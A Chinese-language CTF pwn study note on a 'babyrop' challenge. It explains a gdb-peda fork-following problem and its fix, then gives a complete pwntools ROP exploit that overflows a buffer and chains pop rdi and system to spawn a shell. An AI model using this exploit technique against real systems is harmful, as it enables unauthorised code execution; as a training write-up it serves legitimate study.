tl;dr
这是一篇pwn入门的笔记, 主要记录一下gdb-peda
在调试多进程应用时不能正确中断读取stdin
的问题, 具体表象是运行时会打印日志[Thread debugging using libthread_db enabled]和[Inferior 2 (process xxx) exited normally]
, 且不能在程序读取stdin
时中断等待输入. 解决方法是设置变量使gdb
跟踪父进程即可: set follow-fork-mode parent
1. 静态分析
Ghidra给出的伪代码如下:
undefined8 main(void) {
undefined local_18 [16];
system("echo -n \"What\'s your name? \"");
__isoc99_scanf(&DAT_004006c5,local_18);
printf("Welcome to the Pwn World, %s!\n",local_18);
return 0;
}
checksec
结果如下:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
整道题还是挺简单的, 但是一个坑点出在system("echo -n \"What\'s your name? \"");
上. 一般而言, 程序输出是直接调用stdio
的函数向标准输出中打印, 但是这道题可能是为了提供一个call system
, 所以用了这么一种打印方法?
到这里还没有发现什么问题, 直到使用gdb
动态调试的时候遇到了坑.
2. GDB调试
当使用gdb
调试的时候, 调试器并不能在scanf
函数处自动断掉, 日志如下所示:
gdb-peda$ r
Starting program: /home/kali/Desktop/babyrop
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Attaching after Thread 0x7ffff7dc7740 (LWP 3677) vfork to child process 3680]
[New inferior 2 (process 3680)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 3677 after child exec]
[Inferior 1 (process 3677) detached]
process 3680 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What's your name? [Inferior 2 (process 3680) exited normally]
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
Warning: not running
但是使用无插件的gdb
就不会出现该问题. 原因是system
函数开启了新的进程执行echo
命令, 而装了插件的gdb
会自动跟踪子进程从而导致从父进程中跑出, 因而不能自动断在scanf
处.
解决方法就是在执行r
命令前设置变量使peda追踪父进程而不是子进程: set follow-fork-mode parent
3. pwn
64位程序的pwn思路, 概括来说就是: 找到pop rdi, ret
准备rop/ 控制rip
/ 提供"/bin/sh"
的地址/ 提供call system
的地址.
这里有一个点需要注意, 我们在布置内存的时候, 是要准备call system
指令所在的地址, 而不是system
函数的地址, 更不是JMP qword ptr [-><EXTERNAL>::system ]
的地址.
编写exp如下:
from pwn import *
#r = remote("172.19.2.33", 1080)
r = gdb.debug("./babyrop")
offset = 24
poprdi = 0x0000000000400683
syscall = 0x004005e3
binbash = 0x601048
memory = b'a' * offset + p64(poprdi) + p64(binbash) + p64(syscall)
r.recvuntil(b"What's your name?");
r.sendline(memory);
r.interactive()